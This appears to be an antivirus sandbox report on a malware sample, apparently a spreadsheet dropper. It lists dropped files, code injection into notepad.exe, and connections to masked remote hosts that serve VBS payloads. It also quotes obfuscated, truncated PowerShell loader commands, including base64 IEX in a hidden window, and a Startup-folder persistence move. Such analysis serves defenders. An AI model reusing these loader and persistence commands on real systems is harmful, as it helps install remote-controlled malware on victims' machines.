Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %TEMP%\notepad.vbs
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c ""%HOMEPATH%\oMbKG.bat" "
Injects code into
the following system processes:
- %WINDIR%\syswow64\notepad.exe
Modifies file system
Creates the following files
- %HOMEPATH%\ombkg.bat
- %TEMP%\notepad.vbs
- %LOCALAPPDATA%\microsoft\windows\history\history.ie5\mshist012022080220220803\index.dat
- <Current directory>\43561000
- %TEMP%\27a59f14-bafa-447e-b25e-921e5db7c3ec\agiledotnetrt64.dll
Deletes the following files
- %HOMEPATH%\ombkg.bat
Modifies the following files
- %TEMP%\javadeployreg.log
Substitutes the following files
- <PATH_SAMPLE>.xls
Network activity
Connects to
- 'go###acoil.com':80
- 'in#####tion.duckdns.org':991
- 'ge###ugin.net':80
TCP
HTTP GET requests
- http://go###acoil.com/summ/Protected%20Client.vbs
- http://go###acoil.com/summ/attack.txt
- http://go###acoil.com/favicon.ico
- http://go###acoil.com/summ/Encrypted%20Client%20OG.jpg
- http://ge###ugin.net/json.gp
Other
- 'in#####tion.duckdns.org':991
UDP
- DNS ASK go###acoil.com
- DNS ASK in#####tion.duckdns.org
- DNS ASK ge###ugin.net
Miscellaneous
Searches for the following windows
- ClassName: 'Static' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "%TEMP%\notepad.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Move-item '%TEMP%\notepad.vbs' -Destination '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\notepad.vbs'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $t0='QE150'.replace('Q','I').replace('150','x');sal P $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,0110...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Move-item '%TEMP%\notepad.vbs' -Destination '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\notepad.vbs'' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle hidden IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICdTaWxlbnRseUNvbnRpbnVlJzskdTBoajQ0dHQgPSAnW0VudW1dOjpUb09iam...
- '%ProgramFiles%\internet explorer\iexplore.exe' -Embedding
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $t0='QE150'.replace('Q','I').replace('150','x');sal P $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,0110...
- '%WINDIR%\syswow64\notepad.exe'
